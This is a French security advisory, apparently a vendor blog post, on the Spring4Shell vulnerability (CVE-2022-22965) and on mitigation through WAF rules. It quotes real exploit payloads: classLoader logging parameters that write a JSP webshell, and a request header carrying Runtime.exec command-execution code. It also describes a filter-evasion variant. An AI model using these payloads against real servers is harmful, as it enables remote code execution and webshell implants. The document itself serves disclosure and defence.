Atténuation des attaques zero day Spring Core « Spring4Shell »
Présentation
Le 30 mars 2022, un grand nombre de membres de la communauté de la sécurité ont pris connaissance des vulnérabilités liées à Spring, le cadre Java open source largement utilisé. L'Adaptive Security Engine d'Akamai a été en mesure de détecter les attaques zero-day relatives à cette vulnérabilité, protégeant ainsi les clients d'Akamai. (voir ci-dessous pour plus de détails).
Le moment de la divulgation de la vulnérabilité et d'autres informations signalées de manière informelle ont malheureusement créé une confusion quant aux événements. Nous voulions donc informer les clients et les autres parties prenantes intéressées de la situation.
Il existe deux vulnérabilités distinctes liées aux produits Spring :
CVE-2022-22963 était une vulnérabilité dans la fonction Spring Cloud (technologie open source sans serveur) corrigée le 24 mars dont des exploitations publiques ont été mises à disposition. (Remarque : nous avons rédigé un article de blog spécifique sur cette vulnérabilité.)
Une autre vulnérabilité dans Spring Core, surnommée « Spring4Shell », a reçu la référence CVE-2022-22965. La vulnérabilité Spring Core est considérée comme ayant un impact plus important, car elle concerne la bibliothèque principale : chaque projet Spring est donc potentiellement affecté. Cependant, il existe une discussion au sujet de l'exploitabilité de cette vulnérabilité, car elle nécessite une configuration spéciale que même les développeurs Spring définissent explicitement comme non sécurisée. Nous allons maintenant explorer les détails de cette vulnérabilité pour apporter quelques clarifications.
Nous avons commencé à constater des tentatives d'exploitation dès le jour où l'exploitation Spring Core (« Spring4Shell ») était disponible (30 mars).
Source : analyse de sécurité Web Akamai d'un client spécifique
Premières tentatives d'exploitation
Certaines des premières tentatives d'exploitation étaient constituées d'attaquants essayant de déployer un webshell (un fichier de cheval de Troie de contrôle à distance basé sur le Web), auquel ils pourraient ensuite accéder pour exécuter des commandes arbitraires sur le serveur, infectant potentiellement le serveur avec d'autres programmes malveillants ou se propageant au sein du réseau cible.
D'autres tentatives ont été effectuées par les entreprises elles-mêmes afin de tester leurs défenses face à la vulnérabilité.
Voici quelques exemples de charges utiles d'attaque que nous avons observés :
Plusieurs variantes d'exploitation
Il existe plusieurs façons d'exploiter la vulnérabilité Spring Core, mais pour chacune des variantes, la requête d'exploitation reconfigure les paramètres de journalisation. De cette façon, les attaquants définissent le nom de la page du webshell, l'extension du fichier et le répertoire dans lequel il sera écrit :
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Notez que le contenu du fichier d'URL décodée dans le paramètre class...first.pattern est %{f}i.
Alors que la valeur de f qui est évaluée (par %{}) est extraite de l'en-tête HTTP nommé f.
GET /aaa HTTP/1.1
Hôte : 127.0.0.1:8080
Agent utilisateur : Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
La première démonstration de faisabilité de l'exploitation a été publiée par un chercheur avant toute communication officielle des développeurs de Spring, et c'est à ce moment que la confusion a commencé. Le chercheur l'a immédiatement retiré. Toutefois, l'exploitation avait déjà fuité et était également disponible sur le portail vx-underground (communauté de chercheurs en sécurité).
L'exploitation est ensuite apparue à nouveau, en commençant avec une seule variante avant de passer à une version plus compacte. La principale différence entre les variantes réside dans le fait de savoir si les paramètres vulnérables sont définis via les paramètres POST ou dans une requête GET via une chaîne de requête. Le deuxième changement concernait la réduction du nombre de demandes envoyées au serveur, il n'en reste maintenant qu'une seule.
La deuxième version de l'exploitation comprend également un WAF potentiel ou un contournement de filtrage d'entrée, alors qu'elle dissimule les modèles de code sensibles que ces contrôles de sécurité recherchent habituellement, comme <%, %> et Runtime.getRuntime(). Le contenu du fichier webshell importé comprend des espaces réservés qui seront remplacés par le contenu des valeurs d'en-tête correspondantes par Spring.
Par conséquent, %{suffix}i dans le contenu de class...first.pattern sera remplacé par %>//, qui est la valeur d'en-tête HTTP de suffixe.
Atténuation avec l'Adaptive Security Engine d'Akamai
Tous les clients de Kona Site Defender d'Akamai sont protégés. L'Adaptive Security Engine d'Akamai était en mesure de détecter cette attaque zero day Spring Core grâce à des règles d'injection de commandes existantes :
3000023 - Exécution de code à distance Apache Struts ClassLoader Manipulation
D'autres ensembles de règles Kona Site Defender atténuent cette vulnérabilité :
Groupe d'attaque automatisé :
1000005 - Injection de commandes
Ensemble de règles Kona :
3000023 - Exécution de code à distance Apache Struts ClassLoader Manipulation
Résumé
La vulnérabilité Spring Core/« Spring4Shell » a le potentiel d'affecter de nombreuses entreprises en raison de son exploitation simple. Nous prévoyons que les acteurs malveillants s'adapteront à cette vulnérabilité, lanceront des campagnes de minage de cryptomonnaies, d'attaques DDoS ou par ransomware et que cette faille leur permettra de s'infiltrer facilement dans les entreprises au cours des prochaines années. Toutefois, les clients d'Akamai sont protégés par les ensembles de règles d'Adaptive Security Engine et de Kona Site Defender.
L'équipe Threat Research Team d'Akamai surveille l'exploitation de cette vulnérabilité et publiera des mises à jour à mesure que de nouvelles variantes apparaîtront.
